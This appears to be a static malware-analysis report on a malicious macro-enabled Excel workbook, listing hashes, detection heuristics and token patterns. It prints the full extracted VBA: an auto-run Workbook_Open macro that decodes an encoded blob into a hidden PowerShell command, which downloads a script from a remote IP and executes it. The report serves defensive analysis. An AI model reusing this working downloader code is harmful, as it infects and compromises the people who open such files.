Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 0615fa3293064fcd…

MALICIOUS

Office (OOXML) / .XLSM

293.0 KB Created: 2020-05-26 17:53:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: ba00b1696e30832c143b0f286ccd47be SHA-1: 3a8444dddd67c331bb62452e59d44803ffa628b7 SHA-256: 0615fa3293064fcd90e37b7517ad5e92ba3ed99204432ac89b345c8179708730
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (sadsad(asdas, True))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3148 bytes
SHA-256: f3bc5e7d7d7eeac4cef7693163e50dc8ae5835ac918c05f42519f900a6b56c52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
Dim asdas As String
asdas = sadsad("Y0FCdkFIY0FaUUJ5QUhNQWFBQmxBR3dBYkFBdUFHVUFlQUJsQUNBQUxRQmxBSGdBWlFCakFIVUFkQUJwQUc4QWJnQndBRzhBYkFCcEFHTUFlUUFnQUdJQWVRQndBR0VBY3dCekFDQUFMUUJYQUNBQVNBQnBBR1FBWkFCbEFHNEFJQUF0QUdNQWJ3QnRBRzBBWVFCdUFHUUFJQUFvQUc0QVpRQjNBQzBBYndCaUFHb0FaUUJqQUhRQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUU0QVpRQjBBQzRBVndCbEFHSUFRd0JzQUdrQVpRQnVBSFFBS1FBdUFFUUFid0IzQUc0QWJBQnZBR0VBWkFCR0FHa0FiQUJsQUNnQUp3Qm9BSFFBZEFCd0FEb0FMd0F2QURFQU9BQTFBQzRBTVFBM0FEY0FMZ0ExQURrQUxnQXhBRGdBTkFBdkFISUFid0JpQUhnQUx3QmxBQzBBY2dCbEFHMEFhUUIwQUM0QWRnQmlBSE1BSndBc0FDUUFaUUJ1QUhZQU9nQlVBR1VBYlFCd0FDc0FKd0JjQUdVQUxRQnlBR1VBYlFCcEFIUUFMZ0IyQUdJQWN3QW5BQ2tBT3dBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUF0QUdNQWJ3QnRBQ0FBVXdCb0FHVUFiQUJzQUM0QVFRQndBSEFBYkFCcEFHTUFZUUIwQUdrQWJ3QnVBQ2tBTGdCVEFHZ0FaUUJzQUd3QVJRQjRBR1VBWXdCMUFIUUFaUUFvQUNRQVpRQnVBSFlBT2dCVUFHVUFiUUJ3QUNzQUp3QmNBR1VBTFFCeUFHVUFiUUJwQUhRQUxnQjJBR0lBY3dBbkFDa0E=", False)
Shell (sadsad(asdas, True))
End Sub
Function sadsad(ByVal ZMllpufVSHmFIwfNtmMbaqkpGcLYhNvYJHyDUblBpMniTLZxTAIoSwU, ByVal fIsUtf16LE)
    Dim sTextEncoding
    If fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = ZMllpufVSHmFIwfNtmMbaqkpGcLYhNvYJHyDUblBpMniTLZxTAIoSwU
        sadsad = BQaZfpCvWbJiiDAJrTMXKpBlLzihaOnRXBNgyrMdgcLuRWpRMxpTvmv(.NodeTypedValue, sTextEncoding)
    End With
End Function
Function ExRANDHIFhOvVxbNSWKGOCCqvCOZhEGaimPbDvXSiDhVFkDAMHLnIKG(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
    With CreateObject("ADODB.Stream")
        .Type = 2
        .Charset = sTextEncoding
        .Open
        .WriteText sText
        .Position = 0
        .Type = 1
        .Position = iBomByteCount
        ExRANDHIFhOvVxbNSWKGOCCqvCOZhEGaimPbDvXSiDhVFkDAMHLnIKG = .Read
        .Close
    End With
End Function
Function BQaZfpCvWbJiiDAJrTMXKpBlLzihaOnRXBNgyrMdgcLuRWpRMxpTvmv(ByVal byteArray, ByVal sTextEncoding)
    If LCase(sTextEncoding) = "utf-16le" Then
        BQaZfpCvWbJiiDAJrTMXKpBlLzihaOnRXBNgyrMdgcLuRWpRMxpTvmv = CStr(byteArray)
    Else
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write byteArray
            .Position = 0
            .Type = 2
            .Charset = sTextEncoding
            BQaZfpCvWbJiiDAJrTMXKpBlLzihaOnRXBNgyrMdgcLuRWpRMxpTvmv = .ReadText
            .Close
        End With
    End If

End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: df0e580dd63d297bfcc73e36b59e6c3e53cb8ab8095fcdcefb897533f3246ad6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.